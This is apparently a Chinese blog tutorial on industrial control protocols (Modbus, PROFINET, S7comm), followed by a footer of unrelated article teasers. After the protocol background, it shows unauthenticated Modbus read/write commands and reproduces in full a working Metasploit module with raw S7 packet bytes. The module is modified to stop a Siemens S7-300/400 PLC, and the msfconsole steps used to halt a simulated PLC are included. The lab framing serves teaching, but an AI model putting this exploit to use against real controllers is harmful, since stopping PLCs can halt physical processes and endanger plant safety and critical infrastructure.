[ICS] Modbus未授权攻击S7协议漏洞利用

工业控制系统历史

在可编程逻辑控制器(plc)成为标准之前,工厂车间自动化是通过机架和机架的工业继电器,气动柱塞计时器和电磁计数器来控制电机的启动和停止,阀门的打开以及其他与控制相关的过程交互。运行这种设置的控制程序根本不是程序,而是相互连接的电路、定时器和继电器的组合。通过形成电路径,诸如打开阀门、运行马达和开灯等物理动作就完成了。

image-4.png

经过一些最初的尝试和错误,1975年发布的Modicon 184是第一个被正确称为可编程逻辑控制器的设备。

image-5.png

这些早期型号的plc具有输入和输出信号,继电器线圈/触点内部逻辑,定时器和计数器的工作能力。这些单元的编程最初是用运行在个人计算机上的专有编程软件完成的,通过专有媒体和协议进行通信。随着PLC功能的发展,编程设备及其通信也在不断发展。

很快,运行编程应用程序的基于微软windows的pc机将被用于编程plc。有一台PC机与PLC通信提供了编程的能力
PLC。它还允许更容易的测试和故障排除。通信协议开始于Modbus协议,使用RS-232串行通信媒体。随后,在RS-485、DeviceNet、PROFIBUS和其他串行通信介质上操作的其他自动化通信协议紧随其后。串行通信和各种PLC协议的使用允许PLC与其他PLC联网。

自动抄表协议

你还记得上次收费员停在你家给你抄表是什么时候吗?大量的研究和开发已经投入到创造更方便的方法来获取客户从燃气、电力、制冷等方面的仪表读数。这些解决方案包括:支持射频(RF)的电表,可以在靠近城市街区的地方读取,覆盖智能电表的无线网络,每种解决方案都有自己的安全挑战:

image.png

通常用于自动抄表的协议包括AMR、AMI、WiSmart (Wi-Fi)、GSM和电力线通信(PLC)。

下图显示了这些协议通常在ICS体系结构中的位置

image-1.png

企业区内的通信协议

企业区域网络将看到使用HTTP或HTTPS协议的web流量,IMAP、POP3和SMTP形式的电子邮件,文件传输和共享协议(如FTP和SMTP)SMB和许多其他的。所有这些协议都有自己的安全挑战和漏洞。如果你的ICS网络(工业区)和业务网络(企业区)使用相同的物理网络,则这些漏洞可能直接影响你的生产系统。业务系统和生产系统共用一个网络是不安全的。

企业区是工厂或设施连接到Internet的地方,通常通过如下图所示的设置连接到Internet

image-2.png

  • 企业网络通常通过边缘路由器和某种形式的调制解调器连接到互联网,调制解调器将ISP提供的服务(如T1或光载波(OC1)介质)转换为在整个企业网络的其余部分使用的以太网。专用防火墙将使用端口阻塞和流量监控将业务网络安全地连接到ISP网络。企业互联网策略的常见做法是对出站流量使用代理防火墙,同时对传入流量进行严格限制。任何必要的面向公众的服务都将受到保护

  • 企业DMZ中的典型服务公开面对web服务器、公司的公共DNS服务器等。DMZ允许公共交通的着陆区域。如果DMZ中的服务受到威胁,则威胁将包含在DMZ中。进一步的转向尝试将被企业DMZ防火墙捕获

  • 企业内部网络由交换机、路由器、三层交换机、服务器、客户端计算机等终端设备组成。大多数公司都会通过vlan对内部网络进行划分。VLAN间的流量需要经过某种路由设备,比如三层交换机、防火墙或路由器,在这一点上,有访问控制列表(acl)或防火墙规则

近年来,工业区已经从使用专有的OT协议(如PROFIBUS、DeviceNet、ControlNet和Modbus)转变为使用通用的IT技术(如以太网和IP套件协议)。但是,在ICS系统的较低级别中仍然可以找到一些专有协议和网络媒体。下图显示了在ICS体系结构中可以找到其中一些,并提供了简短的描述

image-3.png

  • A - 硬连线设备:这些设备包括传感器、执行器以及其他使用离散信号(如24 VDC)或模拟信号(如4-20 mA或0-10 VDC)进行操作的设备。这些设备直接连接到PLC扩展IO卡或带有IO卡的远程通信机架中。

  • B - 现场总线协议:这些主要是专有协议,如DeviceNet、ControlNet、PROFIBUS和Modbus,提供实时控制和监控。这些协议可以将传感器和执行器等终端设备直接连接到PLC,而无需IO模块。它们也可以用于连接PLC或将远程机架连接到PLC。大多数(如果不是全部)现场总线协议都被改造为在以太网上工作并基于IP。

  • C - 嵌套以太网:尽管从技术上讲这不是一种不同的协议,嵌套以太网是一种隐藏或混淆控制网络部分的方法。只有通过它们所连接的设备才能看到这些部分。

Modbus和Modbus TCP/IP

自1979年推出以来,Modbus一直是事实上的标准。Modbus是一种应用层消息传递协议。它位于OSI模型的第7层,提供通过不同类型的通信总线或通信媒体连接的设备之间的客户机/服务器通信。Modbus是使用最广泛的ICS协议,主要是因为它是一种经过验证的可靠协议,实现简单,并且不需要任何版税即可开放使用:

image-6.png

在上图的左边,我们看到Modbus通过串行通信(RS-232或RS-485)。使用相同的应用层协议进行通信以太网,如右侧所示。

Modbus协议是建立在请求和应答模型之上的。它将函数代码与数据段结合使用。功能代码指定请求或响应哪个服务,数据部分提供应用于该功能的数据。功能码和数据段在协议数据单元PDU (Protocol data Unit)中指定Modbus分组帧:

image-7.png

以下是Modbus功能码列表及其说明:

FunctionDescription
FC=01读继电器输出
FC=02读开关量输入
FC=03读取多个保持寄存器
FC=04读输入寄存器
FC=05写单线圈寄存器
FC=06写单线圈保持寄存器
FC=07读例外状态
FC=08诊断
FC=11获取通信事件计数器(仅限串行线)
FC=12获取通信事件日志(仅限串行线)
FC=14读取设备标识
FC=15写多个线圈
FC=16写入多个保持寄存器
FC=17报表Slave ID
FC=20读文件记录
FC=21写文件记录
FC=22屏蔽写寄存器
FC=23读/写多个寄存器
FC=24读FIFO队列
FC=43读取设备标识

每种通信介质的PDU都是相同的。因此,无论使用串行还是以太网都可以找到PDU。Modbus适应不同媒体的方式是通过网络应用数据单元(ADU):

image-8.png

ADU 的结构因所使用的通信介质而异。例如,串行通信的 ADU 由地址头、PDU 和错误校验尾部组成。

image-9.png

另一方面,对于 Modbus TCP/IP,寻址由以太网数据包的 IP 和 TCP 层完成,ADU 帧由 Modbus 应用头 (MBAP) 和 PDU 组成,而省略了错误校验尾部。

image-10.png

Modbus未授权攻击

(arch)$ sudo python3 -m pip install pyModbus

image-13.png

启动异步Modbus服务

# Modbus_server.py
import asyncio
from pymodbus.server.async_io import ModbusTcpServer
from pymodbus.device import ModbusDeviceIdentification
from pymodbus.datastore import ModbusSequentialDataBlock, ModbusSlaveContext, ModbusServerContext

# Create a datastore and populate it with test data
store = ModbusSlaveContext(
    di=ModbusSequentialDataBlock(0, [17] * 100),  # Discrete Inputs initializer
    co=ModbusSequentialDataBlock(0, [17] * 100),  # Coils initializer
    hr=ModbusSequentialDataBlock(0, [17] * 100),  # Holding Registers initializer
    ir=ModbusSequentialDataBlock(0, [17] * 100)   # Input Registers initializer
)
context = ModbusServerContext(slaves=store, single=True)

# Populate the Modbus server information fields, these get returned as response to identity queries
identity = ModbusDeviceIdentification()
identity.VendorName = 'PyModbus Inc.'
identity.ProductCode = 'PM'
identity.VendorUrl = 'https://github.com/riptideio/pymodbus'
identity.ProductName = 'Modbus Server'
identity.ModelName = 'PyModbus'
identity.MajorMinorRevision = '1.0'

# Start the listening server
async def run_server():
    print("Starting Modbus server...")
    server = ModbusTcpServer(context, identity=identity, address=("0.0.0.0", 502))
    await server.serve_forever()

# Run the server
if __name__ == "__main__":
    asyncio.run(run_server())

(arch)$ sudo python3 Modbus_server.py

image-14.png

(kali)$ sudo gem install modbus-cli

modbus 是一个命令行工具,用于与支持 Modbus 协议的设备进行通信。Modbus 是一种常用的工业通信协议,通常用于自动化设备、传感器和控制器之间的通信

例如,下面的命令将输出并读取线圈1的状态:
从 %M1 开始读取连续的 5 个寄存器或状态位的值

(kali)$ modbus read 192.168.101.144 %M1 5

image-15.png

Modbus 用户将会识别到请求寄存器的语法,%M,它表示线圈位。

Modbus 命令支持地址区域 1 到 99999 用于线圈,以及 400001 到 499999 用于其余的寄存器,使用 Modicon 地址格式。在 Schneider 地址格式中,%M 地址与 %MW 的值位于不同的内存中,但是 %MW、%MD 和 %MF 都共享同一块内存。因此,%MW0 和 %MW1 与 %MF0 共享同一块内存空间。

Data typeData sizeSchneider addressModicon addressParameter
Words (unsigned)16 bits%MW1400001–word
Integer (signed)16 bits%MW1400001–int
Floating point32 bits%MF1400001–float
Double words32 bits%MD1400001–dword
Boolean (coils)1 bit%M1N/AN/A

该命令创建以下请求报文:

image-16.png

image-20.png

读取前5个输入寄存器:

(kali)$ modbus read 192.168.101.144 1 5

image-17.png

读取从地址400001开始的10个整数寄存器:

(kali)$ modbus read --word 192.168.101.144 400001 10

image-18.png

对线圈写入:

(kali)$ modbus write 192.168.101.144 1 0

image-19.png

可能性是广泛的。请随意使用它们并进行实验。从这个练习中得到的最大收获应该是,这些命令都不需要任何形式的身份验证或授权。这意味着任何知道支持modbus的设备(PLC)地址的人都可以读写其内存和I/O库。

ICS安全:https://www.cisa.gov/topics/industrial-control-systems

网站 www.cisa.gov 属于美国国土安全部(Department of Homeland Security, DHS)下属的一个机构,称为“国家网络与信息安全局”(Cybersecurity and Infrastructure Security Agency, CISA)。CISA 的职责包括协调和增强美国的网络和信息基础设施的安全性,以及对抗网络威胁和攻击,提供技术支持和建议,以确保国家的网络安全和信息基础设施的保护。

PROFINET

Process Field Net(PROFINET)是一种符合IEC 61784-2标准的工业技术标准。它用于在工业以太网上进行数据通信,设计用于从工业系统中收集数据并控制设备,其传输时间接近1毫秒。该标准由位于德国卡尔斯鲁厄的PROFIBUS & PROFINET国际(PI)维护和支持。

PROFINET不应与PROFIBUS混淆,PROFIBUS是一种用于实时自动化目的的现场总线通信标准,最初由德国教育和研究部门于1989年引入,后来由西门子采用。下图显示了工业控制系统中每种协议的具体位置。

image-23.png

PROFINET支持Ethernet、HART、ISA100和Wi-Fi,以及旧设备上发现的传统总线,以消除替换这些遗留系统的需求。尽管这降低了拥有成本,但对遗留设备及其协议的向后兼容性使得实施容易受到标准Internet协议攻击和漏洞的影响,例如重放攻击、嗅探和数据包篡改。

PROFINET标准使用以下三种服务:

  • TCP/IP,它提供了大约100毫秒的响应时间
  • 实时(RT)协议,使用10毫秒的周期时间
  • 等时实时(IRT),使用1毫秒的周期时间

image-24.png

PROFINET TCP/IP和RT协议共同工作,基于工业以太网。RT协议通过在网络数据包中省略TCP和IP层来缩短响应时间,使得实时协议成为仅在本地网络中使用的协议,不支持路由。PROFINET在配置或诊断时使用TCP/IP协议,但在需要确定性消息时跳过传输控制协议(TCP)和因特网协议(IP)层。等时实时协议使用以太网堆栈的扩展,需要专用硬件来运行。

以下是PROFINET标准中定义的一些协议列表。虽然还有更多,但这些协议最常见于遵循PROFINET标准的工业网络中:

  • PROFINET TCP/IP:用于配置和诊断,支持TCP/IP协议栈。
  • PROFINET RT(Real-Time实时协议):用于要求响应时间更短的应用场景,省略了TCP和IP层,仅在本地网络内使用,不支持路由。
  • 等时实时协议(Isochronous Real-Time):使用以太网堆栈的扩展,需要特殊的硬件支持。
  • PROFINET/IO:用于与现场IO设备进行通信的协议。
  • PROFINET/MRP:MRP代表媒体冗余协议。这个协议用于实现冗余技术的网络中,通过提供次要处理、IO和通信来最大化可用性。
  • PROFINET/PTCP:PTCP代表精密时间控制协议。这是一个链路层协议,用于在PLC之间同步时钟和时间源。
  • PROFINET/RT:实时协议,用于实时传输数据。
  • PROFINET/MRRT:MRRT提供PROFINET/RT协议的媒体冗余,即提供备用通信路径。

S7通信协议停止CPU漏洞

PROFINET标准中没有直接包含,但通常与之在同一工厂区域或工业控制系统(ICS)网络中使用的是S7comm协议。S7comm(也称为S7通信)是西门子的专有协议,允许可编程逻辑控制器(PLC)之间或PLC与编程终端之间进行通信。它用于简化PLC的编程、多个PLC之间的通信,或者SCADA(监控与数据采集)系统与PLC之间的通信。S7comm协议基于COTP(连接导向传输协议),后者是ISO协议族中的连接传输协议。更多关于ISO协议族的详细信息,请参阅https://wiki.wireshark.org/IsoProtocolFamily。

下表显示了ISO协议族核心协议的简化概述:

Sr.OSI layerProtocol
7Application layerS7 communication
6Presentation layerS7 communication
5Session layerS7 communication
4Transport layerCOTP
3Network layerInternet Protocol
2Data link layerEthernet
1Physical layerEthernet

建立与S7 PLC的连接有三个步骤:

  • 在TCP端口102上连接到PLC。
  • 在ISO层上进行连接(2. COTP连接请求)。
  • 在S7comm层上进行连接(3.s7comm.param.func = 0xf0,设置通信)。

步骤1使用PLC/CP的IP地址

第2步使用一个长度为2字节的目标TSAP作为目的地。目标TSAP的第一个字节编码通信类型(1=PG, 2=OP)。目标TSAP的第二个字节编码机架和槽号:这是PLC CPU的位置。槽号编码在位0-4中,机架号编码在位5-7中。

第3步用于协商S7comm特定的细节(例如PDU大小)。

在Siemens PLC中存在一个已知的功能/漏洞,攻击者可以利用这一漏洞远程停止S7 PLC。让我们看看这种漏洞是如何被攻击的。

(arch)$ sudo python3 -m pip install python-snap7

>>> import snap7
>>> s7server = snap7.server.Server()
>>> s7server.create()
>>> s7server.start()
>>> s7server.get_status()

我们可以看到当前模拟PLC的状态运行中

image-25.png

通过msf进行漏洞利用

(kali)$ msfconsole

msf> searchsploit -w 'Siemens Simatic S7'

image-26.png

我们需要将模块载入msf

image-27.png

需要将
OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),修改为OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),

最后的脚本

# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

	include Msf::Exploit::Remote::Tcp
	include Rex::Socket::Tcp
	include Msf::Auxiliary::Scanner

	def initialize(info = {})
		super(update_info(info,
		  'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
		  'Description'   => %q{
				The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
				this modules allows an attacker to perform administrative commands without authentication.
				This module allows a remote user to change the state of the PLC between
				STOP and START, allowing an attacker to end process control by the PLC.
			},
		  'Author'			=> 'Dillon Beresford',
		  'License'     			=> MSF_LICENSE,
		  'References'     =>
				[
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
					[ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
				],
			'Version'        => '$Revision$',
		  'DisclosureDate' => 'May 09 2011'
		  ))

		  register_options(
			  [
				  Opt::RPORT(102),
				  OptInt.new('MODE', [false, 'Mode 1 to Stop CPU. Set Mode to 2 to put the CPU back into RUN mode.',1]),
				  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
		    ], self.class)
		end

    def run_host(ip)
		begin

		cpu = datastore['MODE'] || ''
		cycles = datastore['CYCLES'] || ''

		stop_cpu_pkt =
		  [
		    	       "\x03\x00\x00\x16\x11\xe0\x00\x00"+
		               "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
			       "\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+
				"\x01\x00\x00\xff\xff\x00\x08\x00"+
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x21\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x02\x00\x10\x00"+
				"\x00\x29\x00\x00\x00\x00\x00\x09"+
				"\x50\x5f\x50\x52\x4f\x47\x52\x41"+
				"\x4d",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

			  	"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00"
		  ]

		start_cpu_pkt =
		  [
		   	        "\x03\x00\x00\x16\x11\xe0\x00\x00"+
				"\x00\x01\x00\xc1\x02\x01\x00\xc2"+
				"\x02\x01\x02\xc0\x01\x09",

				"\x03\x00\x00\x19\x02\xf0\x80\x32"+
				"\x01\x00\x00\xff\xff\x00\x08\x00"+
				"\x00\xf0\x00\x00\x01\x00\x01\x03"+
				"\xc0",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x00\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x40\x00\x01\x84\x00\x00\x00",

				"\x03\x00\x00\x1f\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x01\x00\x0e\x00"+
				"\x00\x04\x01\x12\x0a\x10\x02\x00"+
				"\x10\x00\x00\x83\x00\x00\x00",


				"\x03\x00\x00\x25\x02\xf0\x80\x32"+
				"\x01\x00\x00\x00\x02\x00\x14\x00"+
				"\x00\x28\x00\x00\x00\x00\x00\x00"+
				"\xfd\x00\x00\x09\x50\x5f\x50\x52"+
				"\x4f\x47\x52\x41\x4d"

				]
		# CPU STOP
		if(cpu == 1)
		connect()
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	  # CPU START
	  if(cpu == 2)
		connect()
		start_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
	# STOP / START CPU
	for n in 0..cycles
	  if(cpu == 3)
		connect()
		# We assume PLC is up and running (issue a stop command)
		stop_cpu_pkt.each do |i|
		  sock.put("#{i}")
		  sleep(0.005)
		end

		connect()
		# We assume PLC is has been stopped (issue a start command)
	  start_cpu_pkt.each do |i|
	    sock.put("#{i}")
		  sleep(0.005)
		  end
	  end
  end

	data = sock.get_once()
		print_good("#{ip} PLC is running, iso-tsap port is open.")
	if(cpu == 'true')
		print_status("Putting the PLC into START mode.")
			elsif(cpu == 'false')
				print_status("Putting the PLC into STOP mode.")
			end
			disconnect()
			rescue ::EOFError
		end
	end
end

保存名为S7.rb

$ cd ~/.msf4/modules/
$ mkdir -p auxiliary/hardware/scada
$ cp /home/maptnh/Desktop/S7.rb ~/.msf4/modules/auxiliary/hardware/scada/
$ service postgresql start

msf> search siemens

image-28.png

msf> use auxiliary/hardware/scada/S7

image-29.png

西门子Simatic S7-300/400 S7 CPU在ISO-TSAP上的启动和停止功能存在漏洞,允许攻击者在未经身份验证的情况下执行管理命令。该模块允许远程用户在PLC的STOP和START状态之间切换,使攻击者能够终止PLC的过程控制。

msf> set RHOSTS 192.168.101.144
msf> exploit

image-30.png

PLC被停止了

image-31.png

为什么会成功呢?如果你还记得,PROFINET和大多数其他ICS协议不包括使用身份验证的功能。任何拥有适当工具和PLC地址知识的人都可以发送此停止命令。用于查找HEX值的停止命令序列的方法与我们在前面的练习中查找用于发现本地网络连接节点的命令的方法几乎相同。它可以归结为监视编程站与PLC或终端设备之间的通信。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/784613.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何使用 pytorch 创建一个神经网络

我已发布在&#xff1a;如何使用 pytorch 创建一个神经网络 SapientialM.Github.io 构建神经网络 1 导入所需包 import os import torch from torch import nn from torch.utils.data import DataLoader from torchvision import datasets, transforms2 检查GPU是否可用 dev…

Vue3基础知识:组合式API中的provide和inject,他们作用是什么?如何使用?以及案例演示

1.provide和inject相较于父子传递的不同在于provide,inject可以用于跨层级通信&#xff08;通俗易懂的讲就是可以实现爷孙之间的直接信息传递&#xff09;。 1.跨层级传递数据 1.在顶层组件通过provide函数提供数据 2.底层组件通过inject函数获取数据 演示一&#xff1a;跨…

Linux安装Jmeter及简单使用教程

Linux安装Jmeter 首先需要java环境 java --version官网 下载二进制包 #创建文件夹 sudo mkdir /usr/local/jmeter #解压 sudo tar zxvf apache-jmeter-5.6.3.tgz -C /usr/local/jmeter编辑配置文件 sudo vim /etc/profile&#xff0c;添加以下内容 export JMETER_HOME/usr/l…

【Linux系列2】Cmake安装记录

方法一 1. 查看当前cmake版本 [rootlocalhost ~]# cmake -version cmake version 2.8.12.22. 进行卸载 [rootlocalhost ~]# yum remove -y cmake3. 进行安装包的下载&#xff0c;也可以下载好安装包后传至相应的目录 [rootlocalhost ~]# mkdir /opt/cmake [rootlocalhost ~…

安防监控/视频汇聚平台EasyCVR设备录像回看请求播放时间和实际时间对不上,是什么原因?

安防监控EasyCVR视频汇聚平台可提供多协议&#xff08;RTSP/RTMP/国标GB28181/GAT1400/海康Ehome/大华/海康/宇视等SDK&#xff09;的设备接入、音视频采集、视频转码、处理、分发等服务&#xff0c;系统具备实时监控、云端录像、回看、告警、平台级联以及多视频流格式分发等视…

二手闲置平台小程序的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;用户管理&#xff0c;卖家管理&#xff0c;商品分类管理&#xff0c;商品信息管理&#xff0c;商品购买管理&#xff0c;商品配送管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;商品信息&a…

Xilinx FPGA:vivado关于IIC的一些零碎知识点

一、简介 IlC(inter-Integrated circuit)总线是一种由NXP(原PHILIPS)公司开发的两线式串行总线&#xff0c;用于连接微控制器及其外围设备。多用于主控制器和从器件间的主从通信&#xff0c;在小数据量场合使用&#xff0c;传输距离短&#xff0c;任意时刻只能有一个主机等特性…

RoPE旋转位置编码从复数到欧拉公式

第二部分 从复数到欧拉公式 先复习下复数的一些关键概念 我们一般用表示复数&#xff0c;实数a叫做复数的实部&#xff0c;实数b叫做复数的虚部 复数的辐角是指复数在复平面上对应的向量和正向实数轴所成的有向角 的共轭复数定义为&#xff1a;&#xff0c;也可记作&#xff0…

鸿蒙开发:Universal Keystore Kit(密钥管理服务)【密钥使用介绍及通用流程】

密钥使用介绍及通用流程 为了实现对数据机密性、完整性等保护&#xff0c;可使用生成/导入的密钥&#xff0c;对数据进行密钥操作&#xff0c;比如&#xff1a; [加密解密][签名验签][密钥协商][密钥派生]开发前请熟悉鸿蒙开发指导文档&#xff1a;gitee.com/li-shizhen-skin…

前端面试题28(Vue3的Teleport功能在什么场景下特别有用?能给个例子吗?)

Vue 3 的 Teleport 功能在需要将组件的渲染结果放置在 DOM 树中与当前组件位置无关的任意位置时特别有用。这通常涉及到需要将某些UI元素&#xff08;如模态框、弹出菜单、通知、工具提示等&#xff09;从其逻辑上的父级组件中“提取”出来&#xff0c;放置到页面的更高层级或完…

OpenAI Gym Atari on Windows

题意&#xff1a;在Windows系统上使用OpenAI Gym的Atari环境 问题背景&#xff1a; Im having issues installing OpenAI Gym Atari environment on Windows 10. I have successfully installed and used OpenAI Gym already on the same system. It keeps tripping up when t…

2024已过半,还没试过在vue3中使用ioc容器吗?

Vue3 已经非常强大和灵活了&#xff0c;为什么还要引入 IOC 容器呢&#xff1f;IOC 容器离不开 Class&#xff0c;那么我们就从 Class 谈起 Class的应用场景 一提起 Class&#xff0c;大家一定会想到这是 Vue 官方不再推荐的代码范式。其实&#xff0c;更确切的说&#xff0c…

SSO单点登录-1-同浏览器进行单点登录

前端同域 客户端前端同域&#xff0c;则cookie可以存在相同的域名或顶级域名下&#xff0c;一个客户端登录成功后&#xff0c;将token信息保存到域名下的cookie中其他不同客户端访问时&#xff0c;因为域名或者顶级域名相同&#xff0c;也能取到域名下的cookie中的token信息并…

动态粒子发射特效404网站HTML源码

源码介绍 动态粒子发射404网站HTML源码&#xff0c;粒子内容可以进行修改&#xff0c;默认是4&#xff0c;0数字还有一个页面不存在英文&#xff0c;可以自行修改&#xff0c;喜欢的朋友可以拿去使用&#xff0c;源码是html&#xff0c;记事本打开修改即可&#xff0c;鼠标双击…

大模型应用元年,到底有哪些场景可以实际落地场景?

很多企业和个人都号称自己打造了AI大模型实际落地场景&#xff0c;其中有噱头、蹭热点&#xff0c;也有真实落地应用的。下面我将聊聊有哪些应用是真实落地可执行的。 大模型写作 生成式大语言大模型的看家本领非写作莫属。大模型输出logits的基础上加上top_p、top_k、temper…

昇思MindSpore学习笔记5-02生成式--RNN实现情感分类

摘要&#xff1a; 记录MindSpore AI框架使用RNN网络对自然语言进行情感分类的过程、步骤和方法。 包括环境准备、下载数据集、数据集加载和预处理、构建模型、模型训练、模型测试等。 一、概念 情感分类。 RNN网络模型 实现效果&#xff1a; 输入: This film is terrible 正…

Tomcat的负载均衡、动静分离

一、如何tomcat和nginx负载均衡及动静分离&#xff1a;2台tomcat&#xff0c;3台nginx来实现 1.首先设置tomcat1和tomcat2服务器 关闭两台tomcat的防火墙及安全机制&#xff1a;systemctl stop filwalld setenforce 0 进入tomcat目录的webapps中&#xff0c;创建test 2.配…

PI 接口日志设置

一、全局设置 SAP NetWeaver Administrator ---> 配置 ---> 基础架构 ---> Java系统属性 ---> 选择服务页签 ---> 选择 "XPI Adapter:XI"服务进行设置。 1760915 - FAQ: Staging and Logging in PI 7.3 and higher 2518441 - The tablespace PSAPSR…

亿康源精英盛宴暨亿康源启动成功举办

&#xff08;本台记者报&#xff09;2024年7月7日下午&#xff0c;亿康源精英盛宴暨启动仪式在杭州市中维歌德大酒店盛大举行。此次盛会不仅吸引了行业内的专业人才、著名投资界大咖和科技领域的杰出企业家&#xff0c;还汇聚了众多关注大健康产业的各界人士&#xff0c;共同见…

【Linux】进程间通信——匿名管道

为什么要进行进程间通信&#xff1f; 1.数据传输&#xff1a;一个进程需要将它的数据发送给另一个进程&#xff0c;比如我们有两个进程&#xff0c;一个负责获取数据&#xff0c;另一个负责处理数据&#xff0c;这时第一个进程就要将获取到的数据交给第二个进程 2.资源共享&…